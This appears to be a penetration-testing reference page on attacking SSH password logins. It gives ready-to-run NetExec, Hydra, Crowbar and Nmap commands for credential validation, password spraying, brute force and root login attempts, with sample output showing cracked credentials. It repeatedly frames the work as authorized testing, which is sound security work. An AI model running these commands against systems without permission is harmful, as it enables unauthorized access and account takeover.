# SSH Password Credential Attacks

> Covers brute-forcing and credential stuffing SSH logins using tools like Hydra and Medusa to gain unauthorized shell access via weak or default passwords.

- **URL:** https://hackindex.io/services/ssh/exploitation/ssh-password-credential-attacks
- **Path:** SSH > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ssh/exploitation.md)
- **Published:** 2026-01-03
- **Updated:** 2026-08-11

Validate credentials, spray in a controlled way, and only then brute force if it’s justified and permitted.

## Single credential validation

Start with one known pair. If the target rejects it, you want a clean failure you can interpret, not noise from a spray run.

```bash
nxc ssh $TARGET_IP -u $USERNAME -p $PASSWORD
# SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
# SSH         127.0.0.1       22     127.0.0.1        [+] user:password
```

Manual validation is still useful when interactive policies matter:

```bash
ssh -p $PORT $USERNAME@$TARGET_IP
```

If keyboard-interactive or MFA gates are in play, tools may report “failure” while the manual client makes it obvious what’s happening.

## Password spraying

Spraying is one password across many users. Keep it slow. SSH falls over under pressure long before you hit “lockout”.

NetExec spray:

```bash
nxc ssh $TARGET_IP -u users.txt -p $PASSWORD --no-bruteforce
# SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
# SSH         127.0.0.1       22     127.0.0.1        [+] user:password
```

Hydra spray with low concurrency:

```bash
hydra -L users.txt -p $PASSWORD ssh://$TARGET_IP -t 2 -W 5
# [22][ssh] host: $TARGET_IP   login: alice   password: Winter2025!
#
```

If you see connection errors, do not “fix it” by increasing threads. Lower concurrency and add breathing room.

Tools for SSH credential attacks:

- NetExec (`nxc`) for validation and spraying with clear output
- Hydra for fine-grained thread and wait tuning
- Crowbar for combo-file driven attacks
- Nmap `ssh-brute` NSE script for pipeline integration

## Controlled brute force

Only do this when you have explicit approval and you’ve already measured lockout behavior.

Hydra brute force, stop on first hit:

```bash
hydra -L users.txt -P passwords.txt ssh://$TARGET_IP -t 4 -f
```

Crowbar with a combo file:

```bash
crowbar -b ssh -s $TARGET_IP/32 -U users.txt -C creds.txt
```

`creds.txt` is typically `user:password` per line.

Nmap brute script is a workable “pipeline” option when you’re already running Nmap, but it’s not as controllable as Hydra for real credential work:

```bash
nmap -p $PORT --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt $TARGET_IP
```

## Root login attempts

Root testing belongs here when you have a candidate password and ROE allows it. Otherwise it’s just log noise.

```bash
nxc ssh $TARGET_IP -u root -p $PASSWORD
# SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
# SSH         127.0.0.1       22     127.0.0.1        [+] root:password
```

Manual root attempt:

```bash
ssh -p $PORT root@$TARGET_IP
```

If root accepts password auth and you land it, treat it as high impact. If root is key-only while users are password, pivot to key workflows instead of hammering passwords.

## References

- [NetExec](https://github.com/Pennyw0rth/NetExec) - SSH credential validation and spraying workflows.
- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) - Controlled spraying and brute force with thread and wait tuning.
- [Crowbar](https://github.com/galkan/crowbar) - Combo-driven brute force utility supporting SSH.
- [Nmap NSE ssh-brute](https://nmap.org/nsedoc/scripts/ssh-brute.html) - SSH brute script with userdb and passdb support.
- [NetExec Password spraying (without bruteforce)](https://www.netexec.wiki/ssh-protocol/password-spraying)
- [NetExec Testing credentials](https://www.netexec.wiki/ssh-protocol/authentication)